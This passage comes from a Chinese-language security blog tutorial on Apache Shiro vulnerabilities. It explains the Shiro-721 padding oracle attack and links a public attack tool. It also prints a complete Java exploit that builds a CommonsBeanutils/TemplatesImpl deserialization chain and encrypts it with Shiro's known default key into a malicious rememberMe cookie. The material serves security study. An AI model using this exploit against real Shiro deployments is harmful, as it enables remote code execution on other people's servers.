iv[0x31 0x32 0x33 0x34 0x35 0x36 0x37 0x38]+密文1[0x83 0x77 0xA8 0x3F 0x6F 0x8E 0x00 0xBB ]+密文2[0x83 0x77 0xA8 0x3F 0x6F 0x8E 0x00 0xBB ]+密文3[...]
假如我们要解密可以从第二组开始,我们直接拿密文1去从充当iv就行了,注意了前一个密文解密失败不会影响后面密文的解密,会继续拿前一个密文当做iv。
Shiro Padding Oracle Attack
Shiro在官方编号为721,这个是在550修复后比较出名的一个漏洞,但并不是反序列化,因为shiro无论是在最新版本还是存在这个反序列化的过程,前提条件是能拿到正确的key。但在shiro 1.4.2之前的版本可以利用Shiro Padding Oracle Attack进行攻击,因为在1.4.2之前的版本是利用CBC的加密模式进行的,就有可能存在该漏洞,而且并不需要key。
在更新1.2.4之后,官方就修复了固定key的漏洞,修改为每次启动shiro都会随机生成一次key:
这里看了好多好多文章,终于理解是怎么运行的了。一头雾水,还以为要把这些中间值都解密出来,晕~
一开始我就迷惑,很多文章一直在讲看p0大神的文章,我去看的时候发现博客已经关闭了,思考了许久,还是想不出个道道来。因为你想后面加两组密文,分别为密文1和密文2,那么密文1是当作密文2的iv,根据不断改变iv的填充值获取后一个密文的中间值。然后通过我们的明文和中间值进行xor就可以得到我们密文1的真正的iv值。
我就迷惑了,就算密文1是当作iv去解密我们的随机密文4,那么AES对我们的密文4进行解密不是不能解密出来吗?
后面我真正找到p0的文章的时候,突然恍然大悟,原来我们不需要关心密文4进行解密的时候正不正确,只是说经过AES解密后然后和iv进行xor会变成一个乱码的明文而已。
所以用两组进行不断异或是下面的一个流程(这里用DES的8字节来表示):
1、生成两个组,一个是00000000(密文2),一个是随机的12345678(密文3)
2、把两个组接起来,那么就是00000000(密文2)+12345678(密文3)
3、把两个组放到rememberMeCookie密文的后面,那么就是rememberMeCookie+00000000(密文2)+12345678(密文3)
4、发送新的rememberMeCookie到服务器,服务器会判断00000000(密文2)作为iv值去xor(密文3) 12345678是否填充正确
5、通过不断的测试,会得到一个新iv值,比如说00000000变成了87654321,那么我们就把这个值跟我们的一组payload进行xor,得到的这个值就是跟12345678解密出来的中间值xor的iv值,也就是新的(密文2)。
6、然而拿到这个iv值就可以当作前面一组的密文,然后继续生成00000000(密文1)和iv值(密文3)组合,配合rememberMeCookie继续进行填充猜解。
7、最后得出来的iv值+(密文1)+(密文2)+(密文3),这样解密下来是不是就能得到我们换进去的明文了。
总结一下疑惑:
1、为什么存在这个漏洞?
我们从上面分析shiro 550加解密的时候知道是getRememberedPrincipals
方法拿到cookie值后进行解密,然后反序列化。通过convertBytesToPrincipals方法进行解密,如果填充值不对就会出发异常进到onRememberedPrincipalFailure
方法当中:
会走到CookieRememberMeManager类的forgetIdentity方法:
这里是触发了SimpleCookie类的removeFrom
方法,会把DELETED_COOKIE_VALUE写到cookie到中:
所以这里就符合我们padding Oracle 的条件:
- padding失败,返回rememberMe=deleteMe
- padding成功,返回正常的响应数据
2、为什么我们把额外的payload不断填充到rememberMeCookie后不会影响正常的反序列化?
我做了一个测试,就是把序列化后的字节码然后新增了一些字节码在后面,最后进行反序列化的时候是不影响前面的反序列化的。
java中的ObjectOutputStream是一个Stream,他会按格式以队列方式读下去,后面拼接无关内容,不会影响反序列化。
攻击的话可以用下面的工具进行:
https://github.com/longofo/PaddingOracleAttack-Shiro-721
但是呢,这个洞有点鸡肋,实战中有一些问题:
1、时间问题,本地猜解大概都要1个小时,实战更不容说了,时间成本很高
2、安全设备问题,因为不断通过发送大量的数据包过去会引起设备的阻拦和被监测到
3、payload长短,不宜太长,太长会导致发送数据包时间过长
0x03 无利用链的Shiro反序列化利用
有时候我们打攻防的时候经常遇到Shiro能爆出key值,但是没有利用链,这个是怎么回事?
我们做个实验,把上文中的cc组件去掉,然后再重新打包运行:
你会发现是可以正常运行的,那就是使用shiro就根本不需要用到cc组件:
是因为shiro只需呀用到CommonsBeanutils组件即可,那么我们想到我们的CB1利用链:
我们尝试生成利用链看看,发现我们当中的BeanComparator类会利用到ComparableComparator,但是呢ComparableComparator又是CC组件里面的:
知道BeanComparator中的ComparableComparator的作用就是返回一个ComparableComparator对象,实际上对我们利用链没有影响,所以我们要找一个是实现Comparator
类,有Serializable
的来代替。那么我们只能从java内部类、Shiro自带的、CommonsBeanutils里面寻找:
public BeanComparator() {
this((String)null);
}
public BeanComparator(String property) {
this(property, ComparableComparator.getInstance());
}
public BeanComparator(String property, Comparator comparator) {
this.setProperty(property);
this.comparator = comparator;
}
在String里面有一个内部类是刚好符合我们的要求的:
实现了Serializable和Comparator接口,那么它的常量名为CASE_INSENSITIVE_ORDER
,我们直接调用即可:
修改后的代码为:
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.PriorityQueue;
public class expShiro {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{
//取当前目录下的类路径EvilTemplatesImpl.class.getName(),如果在当前目录下可以直接写类名即可
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue priorityQueue = new PriorityQueue(beanComparator);
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(priorityQueue,"queue",new Object[]{obj,obj});
setFieldValue(priorityQueue, "size", 2);
Class aClass = priorityQueue.getClass();
Method heapify = aClass.getDeclaredMethod("heapify");
heapify.setAccessible(true);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(barr);
oss.writeObject(priorityQueue);
oss.close();
AesCipherService aes = new AesCipherService();
byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(barr.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}
我们将生成的cookie进行利用:
最后这里说下,其实如果shiro的commons.beanutils版本跟我们的生成利用链的commons.beanutils不一致会出现以下错误:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc
serialVersionUID = -2044202215314119608, local class serialVersionUID =
-3490850999041592962
因为我的利用文件是跟shiro同一个项目的所以不会出现这个问题,解决办法就是用跟shiro同一个版本的commons.beanutils。
0x04 总结
写到Shiro Padding Oracle Attack部分的时候卡了大概两天,中途也想过放弃,但是我就是有强迫症,没弄懂的一定要弄懂,不然前面的时间都浪费了。
希望大家学习到比较复杂的漏洞利用的时候可以耐心去学,要是真的学不下就去打几把游戏,但是一定要弄懂~
0x05 参考
https://blog.csdn.net/qq_47886905/article/details/123479769
https://paper.seebug.org/1782/
《Java安全漫谈 - 15.TemplatesImpl在Shiro中的利用》
《Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用》
shiro721 Padding Oracle Attack详细分析(一)
shiro721 Padding Oracle Attack详细分析(二)
我所理解的Padding Oracle Attack和CBC字节翻转
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/shiro_deserialization_vulnerability.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。